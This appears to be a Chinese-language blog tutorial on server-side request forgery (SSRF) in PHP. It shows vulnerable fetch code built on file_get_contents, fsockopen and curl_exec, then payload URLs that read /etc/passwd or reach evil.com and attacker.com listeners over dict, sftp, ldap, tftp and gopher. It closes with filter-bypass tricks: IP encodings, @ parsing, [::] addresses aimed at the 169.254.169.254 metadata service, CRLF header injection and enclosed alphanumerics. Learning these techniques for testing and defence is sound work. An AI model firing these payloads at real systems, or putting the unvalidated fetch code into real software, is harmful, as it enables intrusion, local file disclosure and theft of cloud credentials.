产生SSRF漏洞的函数 1、file_get_contents: 下面的代码使用file_get_contents函数从用户指定的url获取图片。然后把它用一个随即文件名保存在硬盘上,并展示给用户。
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php if (isset ($_POST ['url' ])) { $content = file_get_contents ($_POST ['url' ]); $filename ='./images/' .rand ().';img1.jpg' ; file_put_contents ($filename , $content ); echo $_POST ['url' ]; $img = "<img src=\"" .$filename ."\"/>" ; } echo $img ; ?>
2、sockopen(): 以下代码使用fsockopen函数实现获取用户制定url的数据(文件或者html)。这个函数会使用socket跟服务器建立tcp连接,传输原始数据。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php function GetFile ($host ,$port ,$link ) { $fp = fsockopen ($host , intval ($port ), $errno , $errstr , 30 ); if (!$fp ) { echo "$errstr (error number $errno ) \n" ; } else { $out = "GET $link HTTP/1.1\r\n" ; $out .= "Host: $host \r\n" ; $out .= "Connection: Close\r\n\r\n" ; $out .= "\r\n" ; fwrite ($fp , $out ); $contents ='' ; while (!feof ($fp )) { $contents .= fgets ($fp , 1024 ); } fclose ($fp ); return $contents ; } } ?>
3、curl_exec(): cURL这是另一个非常常见的实现,它通过 PHP获取数据。文件/数据被下载并存储在“curled”文件夹下的磁盘中,并附加了一个随机数和“.txt”文件扩展名。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 //利用方式很多最常见的是通过file、dict、gopher这三个协议来进行渗透,接下来也主要是集中讲对于curl()函数的利用方式 function curl($url){ $ch = curl_init(); // 初始化curl连接句柄 curl_setopt($ch, CURLOPT_URL, $url); //设置连接URL curl_setopt($ch, CURLOPT_HEADER, 0); // 不输出头文件的信息 curl_exec($ch); // 执行获取结果 curl_close($ch); // 关闭curl连接句柄 } $url = $_GET['url']; curl($url);
注意事项 1 2 3 4 5 6 一般情况下PHP不会开启fopen的gopher wrapper file_get_contents的gopher协议不能URL编码 file_get_contents关于Gopher的302跳转会出现bug,导致利用失败 curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用 curl_exec() 默认不跟踪跳转, file_get_contents() file_get_contents支持php://input协议
可以利用的协议 常用的URL协议 1 2 3 4 5 6 file:/// -- 本地文件传输协议,主要用于访问本地计算机中的文件 dict:// -- 字典服务器协议,dict是基于查询相应的TCP协议,服务器监听端口2628 sftp:// -- SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol) ldap:// -- 轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议 tftp:// -- 基于lockstep机制的文件传输协议,允许客户端从远程主机获取文件或将文件上传至远程主机 gopher:// -- 互联网上使用的分布型的文件搜集获取网络协议,出现在http协议之前
1、file 这种URL Schema可以尝试从文件系统中获取文件:
1 2 http://example.com/ssrf.php?url=file:///etc/passwd http://example.com/ssrf.php?url=file:///C:/Windows/win.ini
2、dict 这种URL Scheme能够引用允许通过DICT协议使用的定义或单词列表:
1 2 3 4 http://example.com/ssrf.php?dict://evil.com:1337/ evil.com:$ nc -lvp 1337 Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 31126)CLIENT libcurl 7.40.0
3、sftp 在这里,Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作
1 2 3 4 http://example.com/ssrf.php?url=sftp://evil.com:1337/ evil.com:$ nc -lvp 1337 Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2
4、ldap://或ldaps:// 或ldapi:// LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。
1 http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
5、tftp:// TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机。
1 2 3 http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET evil.com:# nc -lvup 1337 Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3
6、gopher:// Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。
1 2 3 http://example.com/ssrf.php?url=http://attacker.com/gopher.php gopher.php (host it on acttacker.com):-<?php header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');?> evil.com:# nc -lvp 1337 Listening on [0.0.0.0] (family 0, port1337)Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 49398)Hissrftest
SSRF常见的绕过方式 一、常见的绕过方式 1 2 3 可以尝试采用http基本身份认证的方式绕过 如:http://www.aaa.com@www.bbb.com@www.ccc.com,在对@解析域名中,不同的处理函数存在处理差异 在PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com。
2.采用短网址绕过
3.采用进制转换 1 127.0.0.1八进制:0177.0.0.1。十六进制:0x7f.0.0.1。十进制:2130706433.
4.利用特殊域名 1 2 3 原理是DNS解析。xip.io可以指向任意域名,即 127.0.0.1.xip.io,可解析为127.0.0.1 (xip.io 现在好像用不了了,可以找找其他的)
5.利用[::] 1 2 可以利用[::]来绕过localhost http://169.254.169.254>>http://[::169.254.169.254]
6.利用句号
7、CRLF 编码绕过 1 2 3 %0d->0x0d->\r回车 %0a->0x0a->\n换行 进行HTTP头部注入
1 2 example.com/?url=http://eval.com%0d%0aHOST:fuzz.com%0d%0a
8.利用封闭的字母数字 1 2 3 4 5 6 7 8 9 10 11 12 利用Enclosed alphanumerics ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com http://169.254.169.254>>>http://[::①⑥⑨。②⑤④。⑯⑨。②⑤④] List: ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
二、常见限制 1 2 采用http基本身份认证的方式绕过,即@ http://www.xxx.com@www.xxc.com
2.限制请求IP不为内网地址 1 2 3 4 当不允许ip为内网地址时: (1)采取短网址绕过 (2)采取特殊域名 (3)采取进制转换
3.限制请求只为http协议